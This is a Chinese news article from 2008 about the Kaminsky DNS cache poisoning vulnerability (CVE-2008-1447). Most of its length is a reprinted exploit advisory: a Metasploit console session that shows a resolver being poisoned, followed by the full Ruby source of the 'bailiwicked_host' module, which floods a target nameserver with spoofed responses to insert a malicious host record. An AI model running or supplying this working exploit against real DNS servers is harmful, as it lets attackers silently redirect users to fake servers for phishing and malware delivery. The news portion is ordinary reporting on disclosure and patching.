DNS漏洞攻击代码现身 普通网民将成攻击对象

北京时间7月24日消息,据国外媒体报道,一个互联网域名服务器(DNS)重大漏洞的生成机制和技术细节周一被美国安全公司Matasano“出于疏忽大意”曝光后,开源安全漏洞检测工具Metasploit开发者们周三已发布了针对该DNS漏洞的攻击代码。安全专家表示,如果某家互联网服务供应商(ISP)没有安装相应漏洞补丁程序,则黑客们可针对使用该ISP服务的普通网民发起“网络钓鱼 ”(phishing)攻击,而这些网民根本无法意识到自己已被攻击。

今年年初,美国网络安全产品和服务提供商IOActive安全研究员丹·卡明斯基(Dan Kaminsky)首先发现了这一严重DNS漏洞,他随后与微软等科技巨头取得了联系。各大计算机业巨头已于7月8日发布了一款软件补丁。

安全专家称,对于那些还没有给服务器安装该DNS漏洞补丁的ISP来说,黑客们可针对使用该 ISP服务的普通网民发起攻击。其方式是在网民进行各种程序升级时,黑客们将悄悄把这些网民的访问地址转到一台假冒服务器上面;在用户进行软件升级的过程当中,自己机器上已被安装了恶意软件。

美国知名杀毒软件开发商赛门铁克(Symantec)技术主管祖尔菲卡·拉米扎(Zulfikar Ramizan)对此表示:“该DNS攻击的可怕之处就在于:在发生上述攻击时,普通终端电脑用户根本就不会觉察到任何异常现象。”

漏洞细节被泄露

卡明斯基此前曾表示,在各大企业用户安装这款DNS漏洞补丁之前,不会对外公布该漏洞的技术细节,而会等到在今年8月举行的“黑帽”(Black Hat)安全技术大会上再公布相关资料。但本周一Matasano不慎在公司博客上披露了该漏洞的技术详情。虽然Matasano随即删除了这篇文章,但相关内容已被多家网站转载。

尽管该DNS漏洞补丁已于7月8日发布,但目前全球绝大多数企业用户仍没有安装该补丁,原因是这些企业用户需首先检测该补丁的兼容性。安全公司ISC总裁保罗·维克西(Paul Vixie)对此表示:“多数企业目前还没有安装该DNS补丁,这可是个大问题。”

另一家安全公司Trusteer首席技术官(CTO)阿米特·克莱恩(Amit Klein)则表示,周三出现的DNS漏洞攻击代码“看起来是真的”;利用该攻击代码,黑客们将可针对还没有安装补丁的DNS服务器发起攻击。他说:“这种攻击危害性极大。如果攻击者很狡猾,我们根本就不会发觉自己已遭到攻击。”

代码及细节:

http://www.caughq.org/exploits/CAU-EX-2008-0002.txt

[Copy to clipboard] [ - ]
CODE:
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Computer Academic Underground
[url]http://www.caughq.org[/url]
Exploit Code

===============/========================================================
Exploit ID: CAU-EX-2008-0002
Release Date: 2008.07.23
Title: bailiwicked_host.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: [url]http://www.caughq.org/exploits/CAU-EX-2008-0002.txt[/url]
Author/Email: I)ruid
H D Moore
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious host entry
into the target nameserver. By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.

Example
=======

# /msf3/msfconsole

_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|

=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME pwned.example.com yes Hostname to hijack
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes Nameserver used for reconnaissance
RHOST yes The target address
SRCPORT yes The target server's source query port (0 for automatic)
XIDS 10 yes Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got answer with 2 answers, 0 authorities
[*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
[*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
[*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server: A.B.C.D
Address: A.B.C.D#53

Non-authoritative answer:
Name: pwned.example.com
Address: 1.3.3.7

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

References
==========

[url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447[/url]
[url]http://www.kb.cert.org/vuls/id/800113[/url]

Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections. Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within bailiwick constraints of the original request the malicious host
entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5585 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'Privileged' => true,
'Targets' =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => 'Jul 21 2008'
))

register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)

random = false
ports = []
lport = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')

print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] hostname = datastore['HOSTNAME'] + '.' address = datastore['NEWADDR'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i ttl = datastore['TTL'].to_i xidbase = rand(4)+2*10000 domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] srv_sock = Rex::Socket.create_udp( 'PeerHost' => target,
'PeerPort' => 53
)

# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i

print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
print_status(" Cache entry expires on #{t.to_s}... sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[i][:addr].to_s,
:src => barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
end

# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end

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